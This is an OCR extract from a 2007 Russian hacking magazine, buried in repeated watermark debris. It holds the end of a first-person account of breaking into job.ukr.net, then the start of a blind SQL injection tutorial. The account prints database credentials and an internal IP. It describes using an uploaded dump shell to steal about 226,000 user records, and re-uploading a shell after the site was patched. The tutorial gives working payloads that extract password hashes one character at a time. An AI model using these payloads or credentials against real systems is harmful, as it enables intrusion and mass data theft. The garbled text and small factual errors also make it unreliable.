df |
-xcha |
|
n |
e |
|
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Контент в удобочитаемом формате |
RST-MуSQL. Без комментариев |
warning
Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!
Содержимое/var/www/job/config.php
<?php
//Database connection $db_host = "localhost"; $db_name = "ajob"; $db_login = "akella"; $db_pass = "alleka";
#echo 'bebebe';
//Establishment
$db_link = mysql_connect( $db_host,$db_login,$db_pass);
$db_selected = mysql_select_db( $db_name, $db_link);
//Disable errors error_reporting(
E_ALL ^ E_WARNING ^ E_NOTICE);
//Inclusion path
#ini_set('include_path',
'/var/www/ukr.net');
?>
Я тут же попробовал приконнектиться к БД следующим линком:
http://job.ukr.net/news/wp-content/themes/ simpla1/sqldump.php?s=y&login=akella&passwd= akella&server=localhost&port=3306
Список табличек в уязвимой базе :)
074
Но, как назло, логин и пасс не подходили. И мне предстояло выяснить почему. Для исправления ситуации, я решил посмотреть другой конфиг — /var/www/job/news/config.php,
но и там пароля не оказалось. Но внимательнее посмотрев, я обнаружил, что он инклудил в себе третий конфиг:
Содержимое
/var/www/job/classes/mysql.config.php
<?php
class mysql_ini{
var $host = "10.60.20.12"; //var $host = "localhost"; var $db="job_news";
var $login = "newsmast";
#var $user = "jobuser";
var $pass = "rbtdl;j,";
}
?>
Здесь мне повезло — в конфиге оказались реальные логин/пароль от БД. Надо отметить, что этот конфиг распространялся на все сервисы домена job.ukr.net.
Я прицепился к СУБД линком:
http://job.ukr.net/news/wp-content/themes/ simpla1/sqldump.php?s=y&login=jobuser&passwd =rbtdl;j,&server=10.60.20.12&port=3306&db=aj ob&tbl=members&limit_start=0&limit_count=5
Затем слил базу с юзерами — members (226131 юзеров) и базу работодателей — agency (~550 юзеров), после чего благополучно удалился :).
Happy end
Всю следующую ночь меня мучили кошмары, будто я сижу в СИЗО и подвергаюсь ежедневным пыткам. Проснувшись утром в холодном поту, я набрался смелости и позвонил в
техподдержку ukr.net, чтобы сообщить им, что безопасность их ресурсов оставляет желать лучшего. Как и прогнозировалось, уже назавтра баг прикрыли, а мои шеллы удалили.
Я не поленился и снова залил шелл через админку (благо пароли остались прежними :)). Но обломался — WP переустановили в другую папку, а администратор усилил настройки Apache. Файлы http://job.ukr.net уже находились в /var/www/ job/, а http://job.ukr.net — в /var/www/jobnews. Поскольку все базы мирно покоились на моем винте, я не стал заново раскручивать баг, оставив ситуацию на совести админов.z
xàêåð 12 /108/ 07
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
Евгений «gemaglabin» Минаев
/ gemaglabin@antichat.ru /
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Инъекции
вслепую
Экзотическое инжектирование грубым методом
При проведении атаки вида SQL-injection далеко не всегда помогает оператор UNION.
В этом случае единственный способ получения информации из таблиц БД — посимволь-
ный перебор данных. Надо сказать, что этот способ является одинаково эффективным и универсальным для всех SQL-операторов. Чтобы ты не сомневался в моей правоте, я
прямо сейчас на примере конкретных запросов покажу, как быстро и грамотно осущест-
вляется перебор с дальнейшим получением ценной информации.
Такиенезаметныеинъекции
НевсегдаприпроведенииSQL-инъекцийможновоспользоватьсяопера- торомUNION,итогдаединственныйспособполучитьценнуюинформацию изтаблиц—посимвольныйпереборданных.Да,методгрубый,нозато универсальныйдлявсехSQL-операторов,будьтоUPDATE,SET,DELETEили INSERT.Ведьдажепослемодификацииданных,поступившихвтаблицу, результатнасневсегдабудетустраиватьввидуеенеидеальнойструктуры. РазъяснюнекоторыетеоретическиеазыMySQL.Аеслитыихужепостиг
—оченьхорошо,повторение—матьучения.
Полезные функции MySQL
Рассмотрим ряд функций, которые упрощают жизнь как программисту, составляющему запросы в скриптах, так и хакеру, который ищет изъяны в таких запросах :). Давай условимся, что для простоты восприятия в качестве примеров я буду публиковать запросы в чистом виде, а после стрелочки (->) указывать результат их выполнения.
1.ASCII(STRING) — очень простая функция: она возвращает числовое значение первого символа строки или ноль, в случае если строка является пустой. Ввиду ограниченности типа STRING функция возвращает число в
076 |
xàêåð 12 /108/ 07 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
E |
|
|
||||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
>> взломto BUY |
|
|
||||||||
|
|
|
|
|
|
||||||
|
w Click |
|
|
|
|
|
|
m |
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
sql dumper
диапазоне от 0 до 255. Например:
SELECT ASCII(1) -> 49
SELECT ASCII(‘1’) -> 49
SELECT ASCII(‘a’) -> 97
SELECT ASCII(‘aa’) -> 97
2.ORD(STRING) — возвращает код первого символа строки-аргумента.
SELECT ORD(1) -> 49
SELECT ORD(‘1’) -> 49
SELECT ORD(‘a’) -> 97
SELECT ORD(‘aa’) -> 97
3.BETWEENMINANDMAX.ЕсливыражениебольшеилиравноMINименьше илиравноMAX,тоBETWEEN()возвратит1,иначерезультатбудетнулевым. Если все элементы однотипны (и, к примеру, имеют числовой тип), то сравнительный запрос сводится к выражению «MIN <= QUERY AND QUERY <= MAX». Примечательно, но до MySQL 4.0.5 в результате сравнения неоднотипных данных получается следующее:
SELECT 5 BETWEEN 1 AND 6 -> 1
SELECT 5 BETWEEN ‘1’ AND ‘6’ -> 1
SELECT 5 BETWEEN 1 AND 4 -> 0
SELECT 5 BETWEEN ‘1’ AND ‘4’ -> 0
То есть MySQL пытается сделать тип общим! Это нам только на руку. Почему? Терпение, мой друг, узнаешь чуть позже :).
4.IN(VALUE1, VALUE2) — возвращает 1, если запрос равен одному из значений, лежащих в IN(). В противном случае вернет 0. Если все значения являются константами, они чувствительны к регистру и обрабатываются в соответствии с типом запроса, а затем сортируются методом бинарных деревьев. То есть запрос выполнится максимально быстро, если все переменные однотипны.
SELECT 1 IN (2,3,4,5,1) -> 1
SELECT 1 IN (2,3,4,5,’1’) -> 1
SELECT 1 IN (2,3,4,5,0) -> 0
SELECT 1 IN (2,3,4,5,’0’) -> 0
5.LOWER(STRING) — приводит строку к нижнему регистру в соответствии с текущим набором символов (по умолчанию ISO-8859-1).
SELECT LOWER(‘ITDEFENCE’) -> itdefence
SELECT LOWER(‘ITDEFeNCE’) -> itdefence
SELECT LOWER(‘itdefence’) -> itdefence
SELECT LOWER(123) -> 123
sql tools
6.SUBSTRING(STRING,POSITION,LENGTH) — копирует подстроку из строки STRING с позиции POSITION длиной LENGTH.
SELECT SUBSTRING(‘itdefence’,4) -> efence SELECT SUBSTRING(‘itdefence’ FROM 4) -> efence SELECT SUBSTRING(‘itdefence’,4,2) -> ef SELECT SUBSTRING(‘itdefence’,1,2) -> it
7. SUBSTRING_INDEX(STRING,DELIMITER,LENGTH) — возвращает подстро-
ку строки STRING до позиции LENGTH после разделителя DELIMITER. Если значение LENGTH положительное, возвращается все, что лежит слева от DELIMITER, если отрицательное — все, что справа.
SELECT SUBSTRING_INDEX(‘itdefence.ru’, ‘.’ ,2) -> itdefence.ru
SELECT SUBSTRING_INDEX(‘itdefence.ru’,’.’,-1) -> ru SELECT SUBSTRING_INDEX(‘itdefence.ru’,’.’,1) -> itdefence
8.BENCHMARK (COUNT,FUNCTION) — выполняет COUNT раз функцию
FUNCTION, создана для тестирования запросов на предмет загрузки сервера.
SELECT BENCHMARK(31337,ENCODE(‘skvoz’,’noy’))
Подзапросы, с чем их едят
Нередко для проведения SQL-атак тебе может понадобиться помощь вложенных подзапросов. Чтобы понять, как они устроены, я в качестве примера рассмотрю MySQL v. > 4.1. Именно с этой версии поддерживаются все формы подзапросов, которых требует стандарт SQL. Подзапрос можно вкладывать в родительский запрос (или даже подзапрос), предварительно обрамив его скобами:
SELECT * FROM ‘users’ WHERE ‘id’ = (SELECT MAX(ID) FROM ‘users’)
SELECT * FROM ‘users’ WHERE ‘id’ = ANY (SELECT MAX(id) FROM ‘users’)
SELECT * FROM ‘users’ WHERE (1,1) = (SELECT ‘id’,’username’ FROM ‘users’)
При использовании подзапросов могут неожиданно встретиться следующие ошибки:
1.Неподдерживаемый синтаксис, или «1235 — This version of MySQL doesn’t yet support ‘LIMIT & IN/ALL/ANY/SOME subquery’».
Такая ошибка может возникнуть при запросе вида:
SELECT * FROM ‘users’ WHERE ‘id’ IN (SELECT ‘id’ FROM
xàêåð 12 /108/ 07 |
077 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|||
w Click |
to BUY |
>> взлом |
|||||||
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
SQL-инъекция в runcms
‘users’ ORDER BY ‘id’ LIMIT 1)
Она обуславливается старой версией MySQL. С помощью такой хитрой подставы ты сможешь определить версию ветки СУБД.
2.Неверное число столбцов в подзапросе, или «1241 — Operand should contain 1 column(s)». Возникает при запросе:
SELECT (SELECT ‘id’,’username’ FROM ‘users’) FROM ‘users’
3.Неверное количество строк в подзапросе, или «1242 — Subquery returns more than 1 row»:
SELECT id’ FROM ‘users’ WHERE ‘id’ = (SELECT id FROM ‘users’)
Let’s do it!
Теперь, когда мы знакомы с теорией, и в частности с синтаксисом подзапросов (это очень важно), перейдем к делу. Предположим, что мы отыскали на просторах интернета бажный скрипт (неудивительно, поскольку в инете таких скриптов пруд пруди). Предположим, что сценарию передается параметр id, фильтрация которого напрочь отсутствует. Если в этом случае мы подставим одинарную кавычку в значение параметра: «SELECT * FROM ‘users’ WHERE ‘id’=’’’», то получим мерзкую ошибку в ответ:
‘You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1.
Знакомо? Несомненно. Бьюсь об заклад, что таких ошибок в своей хакерской жизни ты повидал немало. Попробуем умеючи раскрутить эту инъекцию без участия UNION.
Теоретически мы можем самостоятельно завершить запрос, подставив кавычку и знак комментария. Сразу замечаем, что изначально в MySQL поддерживаются только три типа комментариев:
1.Многострочный «/* */».
2.Однострочный «#».
3.Еще один однострочный «–-» (для совместимости с языком SQL), после которого обязательно должен идти пробел либо символ перевода строки.
Ябуду использовать последний тип комментариев. Посмотрим, как поведет себя MySQL при пережевывании моего коммента:
SELECT * FROM ‘users’ WHERE ‘id’= |
--‘0’ |
-> 0 |
SELECT * FROM ‘users’ WHERE ‘id’= |
‘1’-- - |
> 1 |
|
|
|
Так как непосредственно вывода данных мы не имеем (не забываем, что на экране отображается лишь SQL-ошибка), осуществим перебор всех символов строки, параллельно сравнивая каждый символ с его ASCII-кодом.
Вспомним функцию ASCII и рассмотрим следующие запросы:
SELECT * FROM ‘users’ WHERE ‘id’= |
‘0’ OR ASCII(1)=49-- |
- |
> 1 |
|
|
SELECT * FROM ‘users’ WHERE ‘id’= |
‘0’ OR ASCII(1)=40-- |
- |
> 0 |
|
|
SELECT * FROM ‘users’ WHERE ‘id’= |
‘1’ AND ASCII(1)=49- |
|
- -> 1 |
|
|
SELECT * FROM ‘users’ WHERE ‘id’= |
‘1’ AND ASCII(1)=48- |
|
- -> 0 |
|
|
|
|
|
Оператор AND надо использовать в том случае, если первое условие запроса вернет нам хоть какой-то результат. В противном случае запрос остановится на первом условии, не дойдя до второго. А OR мы можем смело использовать, если первое условие нашего запроса не возвращает никакого результата.
Способ сравнения для нас тоже имеет значение, ведь запрос с однотипными данными займет куда меньше времени, нежели со значениями разных типов (в таком случае сервер будет сам приводить их к единому типу, жутко матерясь и кушая процессорное время :)). Для оптимизации задачи вспомним возможные типы сравнения в MySQL.
Равенство: =
Безопасное с точки зрения сравнения с NULL равенство: <=> Неравенства: <> != Меньше и больше: < >
Меньше или равно и больше или равно: <= =>
Сравнение с NULL: IS NULL , IS NOT NULL.
Для реализации успешного перебора необходимо копировать каждый символ искомой строки с помощью функции SUBSTRING, сравнивая его сначала с нулем, а затем с набором ASCII-кодов нужного типа данных. Узнать необходимый код можно с помощью PHP-функции ORD(). Перейдем к практике и заодно вернемся к нашему примеру. Предположим, что в искомой таблице ‘users’ существует поле password, которое содержит данные в формате MD5 (что, кстати, часто встречается в различных CMS и форумах). Это обстоятельство несколько облегчает нашу задачу. При помощи функции LOWER() и известного набора символов мы сможем получить результат достаточно быстро. Как ты знаешь, MD5 хэш может состоять только из цифр от 1 до 10 и букв a, b, c, d, e, f, что значительно сужает диапазон вероятных значений при реализации перебора.
Используя уже имеющиеся навыки общения с ASCII() и SUBSTRING(), составим запрос с подзапросом — выборкой пароля из поля password. Сначала убедимся, что поле не пустое:
SELECT * FROM ‘users’ WHERE ‘id’= ‘1’ and ASCII(SUBSTRING((select password from users where id=1),1,1)) > 0-- -> 1
SELECT * FROM ‘users’ WHERE ‘id’= ‘1’ and ASCII(SUBSTRING((select password from users where id=1),1,1))<0-- -> 0
078 |
xàêåð 12 /108/ 07 |